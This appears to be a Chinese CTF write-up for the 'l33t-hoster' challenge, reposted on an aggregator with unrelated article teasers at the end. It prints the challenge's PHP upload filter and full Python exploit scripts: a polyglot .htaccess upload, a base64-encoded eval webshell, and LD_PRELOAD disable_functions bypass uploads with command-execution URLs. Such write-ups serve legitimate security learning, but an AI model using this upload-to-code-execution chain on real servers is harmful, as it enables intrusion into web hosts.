news 2026/6/17 19:30:12

l33t-hoster

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
l33t-hoster

这个题做了两天了

拼尽全力卡在最后一步 最后决定先放放 感觉是平台flag有点问题(之前有个题也是flag为空)

明天总结下学习的知识点 先记录下做题过程 看了很多大佬的博客

先看源代码发现 /?source 看这个页面 发现过滤的代码
<?php
if (isset($_GET["source"]))
die(highlight_file(__FILE__));

session_start();

if (!isset($_SESSION["home"])) {
$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
mkdir($userdir);
}

$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);


if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}

$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);

if (empty($parts[0])) {
array_shift($parts);
}

if (count($parts) === 0) {
die("lol filename is empty");
}

if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}

$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}

if (!exif_imagetype($tmp_name)) {
die("not an image.");
}

$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}

$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}

echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";

?>

确实严格 php过滤的差不多我就想到了.htaccess 但要求实在太多了 没啥思路
就去看大佬博客了

https://blog.csdn.net/Uchiha_duan/article/details/131706725
https://blog.csdn.net/mochu7777777/article/details/113772879?ops_request_misc=elastic_search_misc&request_id=0a7ed329acd0355e5f9fe1bd6843d728&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~ElasticSearch~search_v2-1-113772879-null-null.nonecase&utm_term=l33t-hoster&spm=1018.2226.3001.4450

#!/usr/bin/env python3 import requests import base64 VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a" URL = "https://b2a6ae701e7208e05ae1ba94.http-ctf2.dasctf.com/" RANDOM_DIRECTORY = "d54b886eaf53b0e1039f26d24b393565669b6816" COOKIES = { "PHPSESSID" : "m43d1fip3edjosh48kpjnqj0b2" } def upload_content(name, content): data = { "image" : (name, content, 'image/png'), "upload" : (None, "Submit Query", None) } response = requests.post(URL, files=data, cookies=COOKIES) HT_ACCESS = VALID_WBMP + b""" AddType application/x-httpd-php .jpg php_value auto_append_file "php://filter/convert.base64-decode/resource=mochu7.jpg" """ TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b""" <?php echo "shell ok!"; eval($_POST['mochu7']); ?> """) upload_content("..htaccess", HT_ACCESS) upload_content("mochu7.jpg", TARGET_FILE) response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/mochu7.jpg") print(response.text)

先看末 初大佬的博客
学习到拿到shell 然后我是在ctf2(前buuctf)上做的
也遇到了mochu7=var_dump(file_get_contents('/flag'));返回bool(false)的问题
通过看
https://blog.csdn.net/Uchiha_duan/article/details/131706725
https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md
学习到了LD_PRELOAD注射

import requests import base64 URL = "https://b2a6ae701e7208e05ae1ba94.http-ctf2.dasctf.com/" RANDOM_DIRECTORY = "d54b886eaf53b0e1039f26d24b393565669b6816" url = URL + "/images/" + RANDOM_DIRECTORY + "/mochu7.jpg" param = {"mochu7":"move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/d54b886eaf53b0e1039f26d24b393565669b6816/bypass_disablefunc.php');echo 'ok';var_dump(scandir('/var/www/html/images/d54b886eaf53b0e1039f26d24b393565669b6816'));"} files = [('file',('bypass_disablefunc.php',open("bypass_disablefunc.php","rb"),'application/octet-stream'))] r = requests.post(url=url, files=files, data=param) print(r.text)
import requests URL = "https://b2a6ae701e7208e05ae1ba94.http-ctf2.dasctf.com/" RANDOM_DIRECTORY = "d54b886eaf53b0e1039f26d24b393565669b6816" url = URL + "/images/" + RANDOM_DIRECTORY + "/mochu7.jpg" param = {"mochu7":"move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/d54b886eaf53b0e1039f26d24b393565669b6816/bypass_disablefunc_x64.so');echo 'ok';var_dump(scandir('/var/www/html/images/d54b886eaf53b0e1039f26d24b393565669b6816'));"} files = [('file',('bypass_disablefunc_x64.so',open("bypass_disablefunc_x64.so","rb"),'application/octet-stream'))] r = requests.post(url=url, files=files, data=param) print(r.text)

/bypass_disablefunc.php?cmd=ls /&outpath=/tmp/xx&sopath=/var/www/html/images/9955ee8e10455eaeaf6680356a60645003eda6f8/bypass_disablefunc_x64.so
https://274fcdc69af496cb834ecac5.http-ctf2.dasctf.com/images/9955ee8e10455eaeaf6680356a60645003eda6f8/bypass_disablefunc.php?cmd=ls%20/&outpath=/tmp/xx&sopath=/var/www/html/images/9955ee8e10455eaeaf6680356a60645003eda6f8/bypass_disablefunc_x64.so

再上传官方的pl文件
/images/9955ee8e10455eaeaf6680356a60645003eda6f8/bypass_disablefunc.php?cmd=perl fuck.pl&outpath=/tmp/xx&sopath=/var/www/html/images/9955ee8e10455eaeaf6680356a60645003eda6f8/bypass_disablefunc_x64.so

import requests import base64 URL = "https://b2a6ae701e7208e05ae1ba94.http-ctf2.dasctf.com/" RANDOM_DIRECTORY = "d54b886eaf53b0e1039f26d24b393565669b6816" url = URL + "/images/" + RANDOM_DIRECTORY + "/mochu7.jpg" param = {"mochu7":"move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/d54b886eaf53b0e1039f26d24b393565669b6816/fuck.pl');echo 'ok';var_dump(scandir('/var/www/html/images/d54b886eaf53b0e1039f26d24b393565669b6816'));"} files = [('file',('fuck.pl',open("fuck.pl","rb"),'application/octet-stream'))] r = requests.post(url=url, files=files, data=param) print(r.text)


版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/17 19:17:21

AI原生文档格式DocLang开发引关注,能否解决人工智能文档处理难题?

AI原生文档格式DocLang开发引发疑问AI原生文档格式DocLang的开发引发了人们对其对人类工作者以及治理和问责制影响的疑问。来源&#xff1a;ShutterstockDocLang工作组的目标与参与方人工智能在理解为人类设计的文档时面临困难&#xff0c;DocLang工作组试图通过其为“从头为大…

作者头像 李华
网站建设 2026/6/17 19:12:26

2026年广东亚马逊培训机构梳理:五家机构侧重点观察

阅读提示&#xff1a;本文基于公开市场信息及行业交流整理&#xff0c;仅代表第三方观察视角&#xff0c;旨在为创业者提供决策参考。不构成任何投资建议或消费引导&#xff0c;请结合自身实际情况审慎判断。1. 行业背景1.1 行业发展现状2026年的亚马逊生态已全面进入"精细…

作者头像 李华
网站建设 2026/6/17 19:02:59

如何高效部署Kubernetes网络插件:专业运维的完整镜像加速指南

如何高效部署Kubernetes网络插件&#xff1a;专业运维的完整镜像加速指南 【免费下载链接】public-image-mirror 很多镜像都在国外。比如 gcr 。国内下载很慢&#xff0c;需要加速。致力于提供连接全世界的稳定可靠安全的容器镜像服务。 项目地址: https://gitcode.com/GitHu…

作者头像 李华
网站建设 2026/6/17 18:57:59

B站考公课和粉笔怎么选?

B站考公课和粉笔怎么选&#xff1f;更新日期&#xff1a;2026年6月15日Many 人备考会先刷 B 站&#xff1a;免费多、 UP 主讲解细&#xff0c;看着很香。同时手机里又装着粉笔 App。于是问&#xff1a;B 站考公课和粉笔怎么选&#xff1f;能不能只看不买&#xff1f; 这篇按用户…

作者头像 李华